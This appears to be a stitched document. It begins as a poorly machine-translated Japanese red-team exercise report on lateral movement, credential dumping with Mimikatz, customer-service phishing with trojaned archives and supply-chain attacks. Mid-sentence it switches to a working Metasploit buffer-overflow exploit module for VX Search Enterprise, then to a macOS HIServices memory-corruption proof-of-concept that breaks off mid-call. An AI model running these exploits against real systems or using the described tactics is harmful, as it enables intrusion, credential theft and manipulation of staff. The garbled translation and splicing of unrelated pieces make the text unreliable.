引き裂き穴を通して、イントラネットに接続されたチャネルを見つけ、さらに詳細な浸透が行われます。外側から内側へのこのプロセスは、一般に縦方向の浸透と呼ばれます。内部および外部接続に接続されているDMZ領域(非武装ゾーン)が見つからない場合、ブルーチームの専門家は、イントラネットに接続するポイントを見つけるまで穴を引き裂き続けます。

ブルーチームの専門家が正しい穴を見つけると、外部ネットワークからイントラネットに入るためのベースとしてこのポイントを使用できます。この時点で、この時点でFRP、Ewsocks、Regeorgなどのツールを通じて確立され、外部ネットワークから内部ネットワークへのスプリングボードを形成し、イントラネット浸透を実装するための強固な基盤として使用します。

許可が踏み台を確立するのに十分でない場合、ブルーチームの専門家は通常、システム、プログラム、またはサービスの脆弱性を使用して、より高い権限を取得するために権限の運用を増やします。拠点が安定していないPCである場合、PCが再起動した後も拠点がオンラインであることを確認するために、永続的な操作を実行します。

第4段階:水平ムーブメント

イントラネットに入った後、ブルーチームの専門家は通常、ローカルマシンと内部ネットワークでさらに情報収集とインテリジェンススパイ作業を実施します。現在のコンピューターのネットワーク接続、プロセスリスト、コマンド実行履歴、データベース情報、現在のユーザー情報、管理者ログイン情報、サマリーパスワードルール、パッチ更新頻度、その他の情報を収集するなど。同時に、IP、ホスト名、オープンポート、オープンサービス、オープンアプリケーションなど、イントラネット上のサーバーのインテリジェンススパイを指揮します。次に、イントラネットコンピューターとサーバーを使用して、時間内に脆弱性を修復できず、セキュリティ保護と同じパスワードを提供して、水平浸透の結果を拡張します。

ドメインを含むイントラネットの場合、ブルーチームの専門家は、結果を拡大しながら、ドメイン管理者のログインに関する手がかりを探します。サーバーにドメイン管理者がログインしていることがわかったら、Mimikatzなどのツールを使用してログインアカウントパスワードのクリアテキストを取得しようとするか、Hashdumpツールを使用してNTLMハッシュをエクスポートし、ドメイン制御サーバーの浸透制御を実現できます。

イントラネットのローミングプロセス中、ブルーチームの専門家は、メールサーバーのアクセス許可、OAシステム許可、バージョン制御サーバーの許可、集中操作およびメンテナンス管理プラットフォームの許可、統一された認証システムのアクセス許可、ドメイン制御権限などに焦点を当て、コアシステムの許可を侵害し、コアビジネスの獲得、コアブレークスルーの獲得に焦点を当てます。

第4章ブルーチームもルーチン——共通攻撃戦術

ブルーチームの実際の戦闘中、ブルーチームの専門家は徐々にいくつかのルーチンを開発し、いくつかのエクスペリエンスを要約しました。システムの脆弱性が見つからない場合、彼らは釣りをして人々から突破口を作ろうとします。セキュリティ保護装置がある場合、スキャナーを少なく使用またはまったく使用しないようにし、Expを使用して1回のストライクでターゲットを打つよう努力します。厳格な防御を備えたシステムの場合、彼らは子会社またはサプライチェーンから作業を実行しようとします。強力な基盤を確立するとき、彼らは複数の手段を使用して、問題が発生する前に問題を防ぐために複数のポイントに潜んでいます。

以下は、ブルーチームで最も一般的に使用される攻撃戦術の9つです。

1.弱いパスワードを使用してアクセス許可を取得します

弱いパスワード、デフォルトのパスワード、ユニバーサルパスワード、リークされたパスワードは、多くの場合、ブルーチームの専門家の焦点です。実際の作業では、弱いパスワードを介してアクセス許可を取得したケースの90%以上が説明しています。

企業の多くの従業員は、Zhangsan、Zhangsan001、Zhangsan123、Zhangsan888またはその単純な変形などのアカウントのピニインを使用しています。これにより、情報が収集された後、電子メール、OA、その他のアカウントをキャプチャできる列挙のために、単純なパスワード辞書が生成されるという事実につながります。

また、複数の異なるWebサイトで同じパスワードを設定するのが好きな多くの従業員もいます。そのパスワードは長い間漏れており、ブラック業界トランザクションのソーシャルワークライブラリに入力されています。または、SSO検証を有効にしないイントラネットビジネスシステムの場合、同じアカウントパスワードを使用することに慣れています。これにより、特定のチャネルからアカウントパスワードを取得した後、資格情報の再利用を通じてこの従業員が使用する他のビジネスシステムに簡単にログインし、新しい攻撃面を開くための利便性を提供できるという事実につながります。

多くの一般的なシステムは、インストール後にデフォルトの管理パスワードを設定しますが、一部の管理者はパスワードを変更したことがありません。 Admin/Admin、Test/123456、Admin/Admin888などのパスワードは、内部および外部ネットワークシステムのバックエンドシステムに広く存在します。バックエンドシステムに入ると、サーバー制御権限を取得する可能性が非常に高くなります。同様に、多くの管理者は同じパスワードのセットを使用して、管理の利便性のために異なるサーバーを管理します。サーバーがキャプチャされ、パスワードが盗まれると、複数のサーバーに拡張され、ドメインコントローラーが落ちるリスクさえも拡張できます。

2。インターネットの境界を使用して、内部ネットワークに侵入します

ほとんどの企業は、VPNシステム、仮想化されたデスクトップシステム、電子メールサービスシステム、公式Webサイトなど、インターネットの境界に開放されているデバイスまたはシステムを持っています。これは、これらのデバイスまたはシステムに、境界を突破するための最初のエントリポイントになることが多いインターネット側から直接アクセスできるためです。

このようなデバイスまたはシステムは、通常、イントラネット上の重要なサービスにアクセスします。従業員の使用に影響を与えることを避けるために、多くの企業は送信チャネルにさらに保護方法を追加していません。さらに、このようなシステムは統合ログインを統合します。従業員のアカウントパスワードが取得されると、境界を突破し、これらのシステムを介してイントラネットを直接入力できます。

たとえば、イントラネットの境界に開かれているメールサービスに監査がない場合、多要因認証を採用しません。従業員は、多くの場合、電子メールを通じてイントラネットから大量の機密情報を送信します。サーバーアカウントのパスワード、主要人員のアドレス帳などなど。その後、関連する従業員の電子メールアカウントとパスワードを習得した後、電子メールで取得した情報は、Blue Teamの次の作業によって提供されます。

3.一般的な製品コンポーネントの脆弱性を活用してください

情報技術の適用は仕事の効率を向上させますが、それが持っているセキュリティの脆弱性は、ブルーチームの職員にも愛されています。長年にわたる実際的な攻撃および防衛の演習では、頻繁に悪用されている一般的な製品の脆弱性には、電子メールシステムの脆弱性、OAシステムの脆弱性、ミドルウェアソフトウェアの脆弱性、データベースの脆弱性などがあります。これらの脆弱性が悪用された後、攻撃者は大量のアカウントの許容を迅速に取得し、ターゲットシステムを制御できます。守備隊として、抜け穴はしばしば検出が困難であり、関連する活動は通常のビジネスアクセスとして無視されることがよくあります。

4.セキュリティ製品0Dayの脆弱性を活用してください

セキュリティ製品自体は0日攻撃を回避できません!セキュリティ製品はコードラインでも構成されており、オペレーティングシステム、データベース、さまざまなコンポーネントなどで構成される製品でもあります。長年にわたる攻撃および防衛の実践的な演習中、セキュリティゲートウェイ、アイデンティティとアクセス管理、セキュリティ管理、セキュリティ管理、その他のセキュリティ製品の0日間の脆弱性が含まれます。これらのセキュリティ製品の脆弱性が悪用されると、攻撃者はネットワークの境界を突破し、ネットワークに入るための制御権限を取得できます。ユーザーアカウント情報を取得し、関連するデバイスとネットワークへの制御権限をすばやく取得します。

セキュリティ製品の0日の脆弱性は、多くの場合、ブルーチームにとって最高の攻撃武器です。

5。人々の弱点とソーシャルワーカーを利用して釣りをする

人々の安全性の認識やセキュリティ能力の欠如を利用して、ソーシャルエンジニアリング攻撃を実施し、フィッシングメールやソーシャルプラットフォームで誘惑することは、ブルーチームの専門家がよく使用するソーシャルワーカーの方法です。多くの場合、「システムをエンゲージする」ことよりも「人々を巻き込む」のははるかに簡単です。

フィッシングメールは、最も頻繁に使用される攻撃方法の1つです。ブルーチームの専門家は、ソーシャルワーカーのフィッシングまたは搾取方法を通じて、セキュリティ意識が不十分な特定の従業員の電子メールアカウントを盗むことがよくあります。次に、盗まれた電子メールをユニットまたはシステム管理者の他の従業員に使用し、アカウントのパスワードをチートするか、トロイの木馬プログラムを配置します。フィッシングメールは内部の電子メールから来ており、非常に高い「信頼性」を持っているため、IT担当者や管理者でさえ強力なセキュリティ認識を持つ管理者でさえ、電子メールのフィッシングリンクまたはトロイの木馬の添付ファイルをクリックするように簡単にだまされます。

顧客に虚偽の苦情を申し立てることも、ソーシャルワークの一般的な方法でもあります。攻撃者は、オンラインカスタマーサービスプラットフォーム、ソーシャルソフトウェアプラットフォームなどを通じて、顧客担当者に誤ったフィードバックまたは苦情を独身または複数の人々に提供し、顧客サービス担当者に慎重に設計された有毒な文書または有毒な圧縮パッケージを受け入れるように誘導または強制する状況を設定します。顧客担当者の心理的防御が破壊され、有毒なファイルまたは圧縮パッケージが開かれると、カスタマーサービス担当者のコンピューターは、攻撃チームがイントラネットに入るための「フットポイント」になります。

カスタマーサービス担当者に加えて、非技術的な職位にある多くのスタッフは、ソーシャルワーカーが攻撃するための「光学ターゲット」も簡単に「光学ターゲット」です。たとえば、弁護士の手紙を法務担当者に送り、履歴書を人事担当者に送信し、営業担当者に調達要件を送信することは、すべて比較的一般的なソーシャルワーク方法です。そして、それはしばしば「試され、効果的」です。

6.サプライチェーンを使用して攻撃を隠します

サプライチェーン攻撃は、回り道に攻撃する典型的な方法です。攻撃者は、ITのサプライチェーン(機器およびソフトウェア)サービスプロバイダー、セキュリティサービスプロバイダー、オフィスおよび生産サービスプロバイダーから始まり、ソフトウェア、機器、システムの脆弱性を見つけ、人員と管理の弱点を発見し、攻撃を実行します。一般的なシステムのブレークスルーには、メールシステム、OAシステム、セキュリティ機器、ソーシャルソフトウェアなどが含まれます。一般的なブレークスルーには、ソフトウェアの脆弱性、弱い管理者のパスワードなどが含まれます。

サプライチェーン攻撃を使用して、サードパーティのソフトウェアシステムの悪意のある更新、サードパーティサービスバックエンドの秘密の操作、物理的境界の防衛ブレークスルー(制御されたサプライヤーのオンサイト機器がイントラネットに接続されているなど)など、さまざまな複雑な攻撃ターゲットを達成できます。

7.下位ユニットを使用して攻撃します

レッドチームの防衛を伴う実際の攻撃的および防御的な演習では、本社のシステム防衛が比較的緊密であり、ブルーチームが真正面から突破することは困難であり、イントラネットのドアを直接こじ開けることは困難です。この時点で、正面防衛をバイパスしようとし、比較的弱い防御で下位ユニットを攻撃し、その後、本社のターゲットシステムに迂回することは非常に「賢明な」戦略です。

多数の実用的な運用で、Blueチームは、企業の大多数、従属ユニット間の内部ネットワーク、およびその下位ユニットとグループ本部の間の内部ネットワークが効果的に隔離されていないことを発見しました。多くの省庁、委員会、ユニット、大規模な中央企業は、別の専用ネットワークを使用して地域間のイントラネット接続を開くことに慣れています。ただし、同時に、彼らは一般に、エリアに接続されておらず、十分な効果的なネットワークアクセス制御を欠いているネットワーク間の必要な分離と制御の尺度を無視します。

これは、ブルーチームが子会社または支店の防衛ラインを突破すると、イントラネットを介して水平に浸透し、グループ本部を直接攻撃するか、エンタープライズイントラネット全体を歩き回ってから、システムを攻撃できるという事実につながります。

たとえば、子会社Aは深Shenzhenにあり、子会社Bは広州にあり、その本部は北京にあります。子会社Aまたは子会社Bが破られた場合、障害物なしで本部ネットワークに入ることができます。実際、子会社Aおよび子会社Bは、北京本部のビジネスシステムの一部にのみアクセスする必要がある場合があります。同時に、AとBはビジネス取引をまったく持っている必要がないかもしれません。次に、セキュリティの観点から、AとBの間のネットワークアクセスを厳密に制限する必要があります。しかし、現実はしばしばあります。専用のイントラネットは、国のすべての地域、1つが落ち、あらゆる場所につながります。

8。秘密の浸透

プライベートハッカーやブラック業界のチームとは異なり、ブルーチームは通常、作業中に大規模な脆弱性スキャナーを使用しません。スキャナーのアクティビティ特性は明らかであり、簡単に露出できるからです。たとえば、現在の主流のWAF、IPS、その他の保護装置は、脆弱性スキャナーを特定する機能を備えています。発見されると、アラームがトリガーされるか、IPができるだけ早くブロックされる場合があります。

したがって、情報収集とインテリジェンススパイは、ブルーチームの仕事の基盤です。データの蓄積に基づいて、特定のシステム、特定のプラットフォーム、特定のアプリケーション、および特定のバージョンに基づいて対応する脆弱性を見つけ、攻撃操作を実装するために保護装置をバイパスできるExpを書き込み、攻撃をブロックする目的を達成できます。

ターゲットシステムの防御深度が不十分である場合、またはセキュリティ機器を使用する能力が不十分な場合、そのようなターゲット攻撃に直面した場合、タイムリーに攻撃を検出してブロックすることは困難です。攻撃的および防御的なエクササイズの実際の戦闘では、青色のチームがターゲットデータまたはデータを取得するためによく使用され、攻撃されたユニットはまだ侵略を感じていません。

演習に参加しているセキュリティ担当者が比較的弱い技術能力を持ち、攻撃行動を発見して特定できず、効果的な攻撃ブロッキング、脆弱性の追跡、システム修復戦略を提供できない場合、攻撃が発生したときに、防衛当事者はブルーチームの隠された攻撃に対して効果的な対応を得ることができません。

9。複数のポイントに横たわっています

仕事では、ブルーチームの専門家は通常、1つの拠点に立つために浸透作業を実施するだけでなく、異なるウェブシェルを採用し、異なるバックドアプログラムを使用し、異なるプロトコルを使用して異なる特性を持つ拠点を確立します。

実際、ほとんどの緊急対応プロセスは、攻撃の原因を追跡せず、完全な攻撃パスを分析することもできません。保護装置に警戒する場合、多くの防御プレーヤーは、アラーム機器のアラームIPに対応するサーバーのみを処理し、攻撃チェーンの並べ替えを無視して、アラームにもかかわらずイントラネットから青いチームを除外できません。青いチームは、複数の潜んでいる拠点を介してすぐに「復活」することができます。

一部の防御メンバーが専門的ではなく、安全性の認識が不十分な場合、ブルーチームの「待ち伏せ」の下でより機密情報を公開することもあります。たとえば、Windowsサーバーの緊急操作とメンテナンス中に、一部の防御プレーヤーは、リモートデスクトップ共有を介してディスクをAlarmed Serverに直接取り付けます。代わりに、これにより、密かに潜んでいる青いチームに、防御側のメンバーをさらに攻撃する機会が与えられます。

第5章ブルーチーム36戦略——クラシック攻撃の例

古代人は、軍隊を戦わせるとき、36の戦略について話しました。ブルーチームの実際の戦闘は、攻撃的で防御的な対立のプロセスでもあり、それは人々の間の戦いでもあり、提案と知恵と勇気を必要とします。このプロセスでは、「陰謀」と「陰謀」があり、勇気があり、将来を見据えています。この目的のために、私たちはいくつかの小さなケースを選択し、より具体的には、36のタイトルを持つブルーチームの一般的な攻撃方法をより具体的に実証しました。

1。前頭突破3——クロスネットセグメント制御産業制御機器

特定の企業は大規模な国内製造企業であり、内部生産ネットワークは多数のデュアルネットワークカードテクノロジーを使用してネットワーク分離を実現しています。この実用的な攻撃および防衛演習では、攻撃チームの目標は、会社の産業制御機器の制御権限を取得することです。

早期のインテリジェンスの収集と分析の後、攻撃チームは最初にオフィスネットワークを突破し、その後オフィスネットワークを介して産業制御ネットワークに侵入するための戦略的展開を策定しました。

1)オフィスネットワークのブレークスルー

攻撃チームは、最初に会社のポータルをブレークスルーポイントとして選択し、0日間の脆弱性を使用してポータルアプリケーションとオペレーティングシステムの管理者の権利を取得し、それにより会社のオフィスイントラネットへのアクセス許可を取得しました。

横方向の動きの間、攻撃チームは、エンタープライズのイントラネットで複数のサービスシステムと複数のサーバーを検出しました。ポータル管理者アカウントとパスワードを使用して、ライブラリ攻撃をクラックし、エンタープライズのイントラネットのほとんどのサーバーを正常にログインおよび制御します。これは、エンタープライズのイントラネット内の多数のシステムサーバーが同じ管理アカウントとパスワードを使用していることを示しています。

この時点で、オフィスネットワークを突破する攻撃チームの最初のフェーズは正常に完了し、素晴らしい結果を達成しました。次の目標は、産業制御ネットワークでブレークスルーを見つけることです。

2)ポジショニング操作およびメンテナンス担当者

侵害されたサーバーシステムの包括的な調査が実施されました。攻撃チームは、複数のサーバーがExcelプレーンテキストに記録されたパスワードブックを保存し、パスワードブックにはすべてのシステムユーザーのアカウントとパスワードが含まれていることを発見しました。同時に、組織内の多数の内部機密ファイルが、エンタープライズIT部門の組織構造やその他の情報を含む、サーバーに明確に保存されています。組織構造とパスワードの帳簿情報と組み合わせることで、攻撃チームは産業制御システムの運用および保守要員を正常に配置し、ネットワーキング行動の長期監視を実施しました。

3)産業制御ネットワークのブレークスルー

監視の期間の後、攻撃チームは、操作およびメンテナンス担当者がオフィスターミナルにリモートデスクトップをネストしていることを発見しました。つまり、最初にホストAにリモートデスクトップを介してログインしました。その後、オペレーターは、リモートデスクトップを介して別のネットワークセグメントでBをホストするためにログインし続けました。パスワードブックと比較すると、ホストAとBはどちらもエンタープライズの産業制御システムのホストデバイスであることがわかりましたが、それぞれがネットワークトポロジの異なるレベルにありました。その中には、Bホストの下に重要な産業制御機器があります。

さらなる分析では、使用済みのデュアルネットワークカードをホストし、2つのネットワークカードが異なるネットワークセグメントに対応することがわかりましたが、2つのネットワークカードの間に分離測定は行われませんでした。同時に、ホストBはデュアルネットワークカードホストでもあり、デュアルネットワークカードの切り替えを実行するために、分離カードソフトウェアが展開されます。

最後に、攻撃チームはBホストの分離カードソフトウェアの主要な設計上の欠陥を発見し、欠陥を使用してデュアルネットワークカードの分離メカニズムを正常にバイパスし、産業制御機器の動作許可を正常に取得し、対応する産業制御機器を自由に停止、起動、リセットすることができました。一部の操作は、機器の生産プロセスに直接的かつ深刻な損害を引き起こす可能性があります。

同時に、攻撃チームの別のグループのグループグループは、管理されたホストの目的と保存ファイルを調査し続けました。ハードワークは報われます。攻撃チームは、最終的に、いくつかの機密ファイルを含む生産固有のファイルを保存する「生産および操作室」のホストデバイスを発見しました。盗まれると、結果は想像できません。

2。許しなし——ソーシャルワーカーは釣りの境界を突破します

特定の企業は大規模な専門機器メーカーであり、比較的成熟したインターネットサービスの経験を持っています。この実際的な攻撃および防衛の演習では、攻撃チームの目標は、会社のコアビジネス管理プラットフォームの制御権限を取得することです。

初期のインテリジェンスコレクションの作業中、攻撃チームは、会社の内部ネットワーク防衛システムが比較的健全であり、正面のブレークスルーを行うことが困難であることを発見しました。ブレーンストーミング後、誰もが——がソーシャルワーク方法を通じてラウンドアバウトの侵略を行うべきであるというコンセンサスに達しました。

1)ソーシャルワーカーのブレークスルーを見つけます

チームが最初に考えるソーシャルワーカーの方法は、最も一般的な電子メールフィッシングでもあります。ただし、同社の比較的完全なネットワーク防衛システムを考慮すると、電子メール検出防御方法がイントラネットに展開されていると推測されており、電子メールフィッシングの簡単な使用が発見される可能性があります。

さらにインテリジェンスコレクションは、同社がWeChatカスタマーサービスプラットフォームを使用しており、WeChatカスタマーサービスプラットフォームがリアルタイムチャットを実施してファイルを送信できることを発見しました。カスタマーサービス担当者には一般的に強力な技術スキルがなく、安全性の認識が比較的弱いことを考えると、攻撃チームは最終的に同意しました。ソーシャルワーカーのターゲットをWeChatカスタマーサービス担当者として決定し、苦情のトピックに基づいてカスタマーサービスを釣りましょう。

2)カスタマーサービスになりすましてフィードバックの問題

そのため、攻撃チームのメンバーは、顧客のふりをし、会社のWeChatカスタマーサービスプラットフォームにメッセージを残し、不平を言うようになり、カスタマーサービススタッフに「エビデンスビデオ録画」と呼ばれる圧縮ファイルパッケージを受け取るように依頼しました。 ZIPパッケージは、実際には、攻撃チームによるTrojanプログラムを備えた慎重に偽装されたファイルパッケージです。攻撃チームに予期せずに起こったのは、クライアントスタッフがセキュリティの理由で未知のソースから文書を受け取ることを決定的に拒否したことです。明らかに、攻撃チームは、会社のカスタマーサービススタッフの安全啓発リテラシーを過小評価している可能性があります。

3)ソーシャルワーカーのアップグレード心理的防衛ラインを突破する

ただし、攻撃チームはあきらめませんでしたが、勤務中のカスタマーサービス担当者を攻撃するための多人員コラボレーション方法をさらに採用し、カスタマーサービス担当者に仕事番号を報告することを要求し、カスタマーサービスの品質について不満を言うと脅しました。 1時間の綱引きの後、カスタマーサービススタッフの心理的防衛ラインが最終的に壊れ、最終的に毒された圧縮パッケージを受け入れ、トロイの木馬ファイルを開きました。カスタマーサービススタッフのターミナル機器は最終的に制御されます。

制御された端末を基地として採用して、攻撃チームは会社のイントラネットに正常に入力し、その後、主要なデバイスの制御権限を取得するために時間内に修理できなかったシステムの脆弱性を使用しました。イントラネットの情報収集と組み合わせると、最終的に制御プラットフォームのアクセス許可が正常に取得されました。

3.ねじれてねじれた——サプライチェーン固定点攻撃

Super-Large Enterpriseは、全国レベルの重要な情報インフラストラクチャオペレーションおよび管理パーティーです。安全事故が発生すると、国家安全保障と人々の生活と財産を直接危険にさらします。この実用的な攻撃および防衛演習では、攻撃チームの目標は、企業の内部システムのセキュリティ管理機関を取得することです。

攻撃チームによる初期のインテリジェンスコレクションと調査によると、同社のオフィスネットワークとコア産業制御システムは、インターネットにさらされるビジネスシステムはほとんどなく、ビジネスシステムが安全に強化され、多層保護があり、毎日のネットワークセキュリティ運用とメンテナンス機能もあります。突破口を作ることは非常に困難です。

以前のインテリジェンス分析はまた、会社の規模が大きく、多数の人員がいるが、独立したITシステムの研究開発と運用と保守機能がないことも示しました。コアITシステムの建設と運用とメンテナンスは、実際には主に外部調達またはアウトソーシングサービスから来ています。したがって、この機能に基づいて、攻撃チームは、サプライチェーンから始まる全体的な攻撃戦略を策定しました。

1)ターゲットサプライヤーを見つけます

攻撃チームは、最初に「良いニュース」、「ワイド入札」、「署名」、「協力」、「承認」などのキーワードを検索し、ネットワーク全体で会社のサプライヤーとビジネスパートナーのカーペットスタイルの調査を実施し、最終的には攻撃の主なターゲットとして、会社の専用のインスタントメッセージングソフトウェアシステムの開発者である会社Aを選択しました。

情報は、企業Aの企業Aが開発した専用のインスタントメッセージングシステムが完了したばかりであることを示しています。プロジェクトはまだテスト段階にあると推測されています。会社Aは、エンタープライズに完全な運用とメンテナンスサービスを提供するために、長い間配送と運用および保守担当者を備えている必要があります。居住者職員のターミナル機器を取得できる場合、会社のイントラネットシステムに正常に入ることができます。

2)管理者アカウントを盗みます

分析では、会社Aが開発したインスタントメッセージングソフトウェアも会社内で使用されていることがわかりました。このソフトウェアのネットワークサービス管理の背景には、既知のシステムセキュリティの脆弱性があります。攻撃チームは、この脆弱性を使用してサーバーの制御を取得し、サーバーのデータベースシステムにアクセスしてバックエンド管理者のアカウントとパスワードを取得しました。

3)居住者の職員の配置

攻撃チームが管理者のアカウントとパスワードを使用してサーバーにログインした後、システムのチャットレコードがサーバーに準平らなテキスト(低強度暗号化または変換)に保存され、管理者は制限なしに会社内の履歴チャットレコードを読むことができます。

攻撃チームによるチャットレコードを検索した後、ターゲットの会社名、OA、操作、メンテナンスなど、多くの単語を持っている人が3人の従業員がいることがわかりました。さらに、これら3人の従業員のログインIPは、ターゲット企業の排他的なネットワークセグメントに落ちることがよくありました。したがって、攻撃チームは、これら3人の従業員がターゲット企業の会社Aの常駐担当者であると判断しました。

4)ターゲットを絞った悪意のあるアップグレードパッケージ

攻撃チームは、当初、充電されたインスタントメッセージングソフトウェアサーバーを使用して3人の居住者にリーチすることを想像していました。

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VX Search Enterprise GET Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in the web interface of VX Search Enterprise v9.5.12, caused by
        improper bounds checking of the request path in HTTP GET requests
        sent to the built-in web server. This module has been tested
        successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
          'Space'      => 500
        },
      'Targets'        =>
        [
          [ 'VX Search Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret'    => 0x10015ffe  # POP # POP # RET [libspp.dll]
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/'
    )

    if res && res.code == 200
      version = res.body[/VX Search Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit =  rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => sploit
    )
  end
end
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
*/

// ianbeer
#if 0
MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>

struct dock_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool_desc;
  uint8_t PAD[0xc];
  uint32_t ool_size;
};

int main() {
  kern_return_t err;
  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
  if (err != KERN_SUCCESS) {
    printf(" [-] unable to lookup service");
    exit(EXIT_FAILURE);
  }
  printf("got service port: %x\n", service_port);

  uint32_t serialized_string[] =
   { 'abcd',     // neither 'owen' or 'aela' -> bswap?
     0x0,        // type = cfStringUnserialize
     0x41414141, // length
     0x41414141, // length
     0x1,        // contents
     0x2,
     0x3 };

	struct dock_msg m = {0};

  m.hdr.msgh_size = sizeof(struct dock_msg);
  m.hdr.msgh_local_port = MACH_PORT_NULL;
  m.hdr.msgh_remote_port = service_port;
  m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
  m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
  m.ool_size = sizeof(serialized_string);

  m.body.msgh_descriptor_count = 1;

  m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
  m.ool_desc.address = serialized_string;
  m.ool_desc.size = sizeof(serialized_string);
  m.ool_desc.deallocate = 0;
  m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;

  err = mach_msg(&m.hdr,
